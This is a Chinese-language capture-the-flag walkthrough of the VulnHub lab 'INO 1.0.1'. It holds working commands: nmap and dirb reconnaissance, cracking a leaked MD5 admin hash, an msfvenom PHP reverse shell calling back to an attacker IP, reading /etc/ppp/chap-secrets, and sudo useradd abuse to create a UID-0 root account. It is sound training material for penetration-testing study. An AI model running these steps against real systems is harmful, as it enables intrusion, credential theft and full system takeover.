INO: 1.0.1
下载地址:
https://www.vulnhub.com/entry/ino-101,601/
解压后打开
一.nmap信息收集
//用于主机发现 sudo nmap -sn 192.168.0.0/24
//端口发现,指定扫描模式和扫描速率 sudo nmap -sT --min-rate 10000 -p- 192.168.0.172 //-sT:防火墙有基于半扫描阻止的行为,全扫描有利于隐蔽性
//详细的端口信息扫描 sudo nmap -sT -sV -sC -O -p22,80 192.168.0.172 //sC:使用nmap默认脚本扫描模式
sudo nmap -sU --top-ports 20 192.168.0.172 //--top-ports 20 : 扫描UDP常用的20个端口
sudo nmap --script=vuln -p22,80 192.168.0.172
二.攻击面的具体分析
访问靶机的80端口发现了如下页码,而且自动跳转到了/lot/这个页面,进行目录扫描
sudo dirb http://192.168.0.172/lot 发现了如下的页面,挨个进行尝试
http://192.168.0.172/lot/admin
http://192.168.0.172/lot/assets
http://192.168.0.172/lot/database 发现了一个.sql的文件,尝试去打开去搜集信息
用数据库管理工具导入.sql文件,得到了一个users表,里面有一条管理员的数据 username:admin password:0192023a7bbd73250516f069df18b500 0192023a7bbd73250516f069df18b500:用hash-identity鉴别为MD5加密,解密得到的结果为:admin123
http://192.168.0.172/lot/admin这个页面是个登录的页面,用我们得到的账号密码尝试登录,成功登陆
通过对这个页面功能进行浏览发现了一个文件上传点,猜测存在文件上传的漏洞
当我在浏览网页源码的时候发现了作者留下的提示,我觉得应该是提示。
利用js-beautify对代码进行美化,在代码审计的时候发现和msfvenom生成的php马差不多。那我们就去生成一个
//生成一个php马 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.154 lport=6666 -o Shell.php 通过随便上传一个图片然后右键查看得到了上传地址:/lot/admin/assets/uploads/maps/
把生成的Shell.php进行上传,开启监听,然后访问上传的Shell.php,成功拿到
拿到shell后第1件事就是获取一个标准shell,可通过以下命令获取python -c 'import pty; pty.spawn("/bin/bash")'
发现一个ppp用户
通过find命令去找关于ppp有关的东西
找到一个/etc/ppp,里面有个chap-secrets,查看得到了一个字符串,尝试切换ppp,成功
(root) NOPASSWD: /usr/sbin/useradd * 能创建一个用户,可以用这个来创建一个root权限的用户
sudo useradd -p `openssl passwd kiwi` kiwi -o -u 0 -g root -G root -s /bin/sh -d /home/kiwi
寻找flag
考察点:
1.nmap的使用和参数的使用
2.目录爆破的理解和使用
3.msfvenom的使用和msf监听模块的使用
4.Linux中sudo的提权方法
5.信息收集和整合的能力
思路整理:
首先使用nmap进行信息收集,然后从收集到的攻击面进行分析,当我们打开web站点的时候发现自动跳转到了/lot/这个路径下,那我们就对这个路径进行目录爆破,发现了登录页面和有.sql文件,利用数据库管理软件导入.sql文件获得了一对账号密码,成功登录到了后台页面。在对登录进来的页面浏览的时候发现了一个文件上传功能。而且在浏览某个页面的源码的时候发现了里面有类似于msfvenom生成的php马的源码,所有就顺着这个思路去制作自己的php马,用msfvenom生成然后上传,上传的路径可以通过事先上传一个正常的图片然后右键点击查看路径。在攻击机上开启一个监听,然后去访问上传的木马文件,成功上线。
拿到shell了查看一下用户,是个web低权限的用户,想办法提权。首先查看/etc/passwd有哪些可以利用的用户,查看家用户目录都发现了一个ppp用户,利用find / -name ppp 这条命令来查看有关的文件,最终在/etc/ppp/chap-secrets看到了ppp的密码,切换到ppp用户,查看其sudo权限,发现可以创建一个用户,那我们就创建一个具有root权限的用户即可。到此为止已经获得了root权限,最终找到了flag
收获总结:
1.学到了几个nmap的新参数和参数的作用:当我们在进行扫描的时候默认用的是-sS:半扫描,只建立TCP连接的第一步,这很快,但是很容易被防火墙拦截。所以可以改为使用-sT。
-sC:使用nmap自带的默认脚本进行扫描。能得到更多的信息
2.msfvenom生成的php马的源码的格式,虽然写不出来,但是看到类似的能知道是msfvenom生成的
3.使用python来获得一个更好的shell:pty 模块提供了一组用于操作伪终端的函数和类,pty.spawn() 函数用于创建一个新的伪终端并将其连接到一个子进程中,而 python -c 'import pty; pty.spawn("/bin/bash")' 的作用是使用 Python 解释器执行一段代码,从而在当前终端会话中启动一个新的 Bash shell 进程。
4.sudo提权的方法,这个环境是能创建用户,那我们直接就使用命令创建一个root权限用户
sudo useradd -p `openssl passwd kiwi` kiwi -o -u 0 -g root -G root -s /bin/sh -d /home/kiwi
以下是
sudo useradd -p 'openssl passwd 12345' kiw1 -o -u 0 -g root -G root -s /bin/sh -d /home/kiw1
命令的每个参数作用的简体中文解释:
-
sudo
:以超级用户权限运行以下命令。-
useradd
:创建一个新用户账户的命令。-
-p 'openssl passwd 12345'
:设置新用户账户的密码。密码使用 OpenSSL 库进行加密,字符串 "12345" 是明文密码。注意在实际使用中不建议使用明文密码。-
kiw1
:新账户的用户名。-
-o
:允许新用户拥有与现有用户相同的 UID。在创建备份用户时很有用。-
-u 0
:为新用户设置 UID(用户 ID)。在这种情况下,UID 被设置为 0,即 root 用户的 UID。这意味着新用户账户拥有 root 权限。-
-g root
:将新用户账户的主要组设置为 "root"。-
-G root
:将新用户添加到 "root" 组,除了他们的主要组之外。-
-s /bin/sh
:将新用户账户的默认 shell 设置为 "/bin/sh",即 Bourne shell。-
-d /home/kiw1
:将新用户账户的主目录设置为 "/home/kiw1"。这是用户文件和文档存储的目录。